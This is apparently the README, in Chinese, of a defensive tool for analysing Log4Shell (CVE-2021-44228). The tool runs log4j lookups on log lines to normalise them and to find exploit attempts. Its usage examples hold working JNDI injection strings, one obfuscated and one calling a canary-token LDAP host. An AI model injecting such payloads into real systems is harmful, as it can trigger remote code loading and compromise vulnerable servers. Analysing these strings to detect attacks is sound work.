用于帮助分析 Apache Log4j 2 CVE-2021-44228 的工具
该工具使用 log4j-2 的 "lookup" 功能来针对 JNDI 漏洞进行测试。 其目标是轻松运行 lookup 功能(例如用于规范化日志,或对某些 payload 进行真实测试——请务必谨慎)。
构建方式:执行 "make"(为方便起见,JndiLookup.jar 文件已包含在此 git 仓库中)。
构建完成后,你可以使用 "java -jar JndiLookup.jar" 运行该工具(包含 log4j 二进制文件的 log4j 目录必须与 JndiLookup.jar 位于同一路径下)。
不带参数运行时,JndiLookup 工具会从 stdin 读取各行,并使用 log4j 的 lookup 功能对它们进行"转换"——这对于规范化日志和搜索利用尝试应该很有用
例如:cat access.log | java -jar JndiLookup.jar
如果你向命令行传递一个字符串,该工具将转换该字符串并退出(请转义所有 '$' 字符)。
例如:java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
默认情况下,JNDI lookup 处于禁用状态(并被一个只会添加 "jndi:" 的 lookup 函数所替代),但可以通过向 JndiLookup 传递 "-X" 参数来启用真正的 JNDI lookup("-X" 必须作为第一个参数传递);请务必谨慎,因为这可能导致你的系统受到入侵。
例如:java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ 此示例使用了我的一枚 canary token,仅用于示例;请注意,如果你使用此命令,我会收到通知——这对我来说没有问题,但我将获取发起 DNS 请求的 IP ]
所使用的 log4j 二进制文件(标准用法为 2.15.0,启用 JNDI 的用法为 2.14.1)中启用了以下 lookup:
根据你的环境,可能还有其他可用的 lookup:
[ 有关 lookup 插件激活的详细信息,请参阅 https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java ]
请注意,该工具使用了 log4j lookup 功能的真实代码,因此可能因其他(非 JNDI)安全问题而存在漏洞。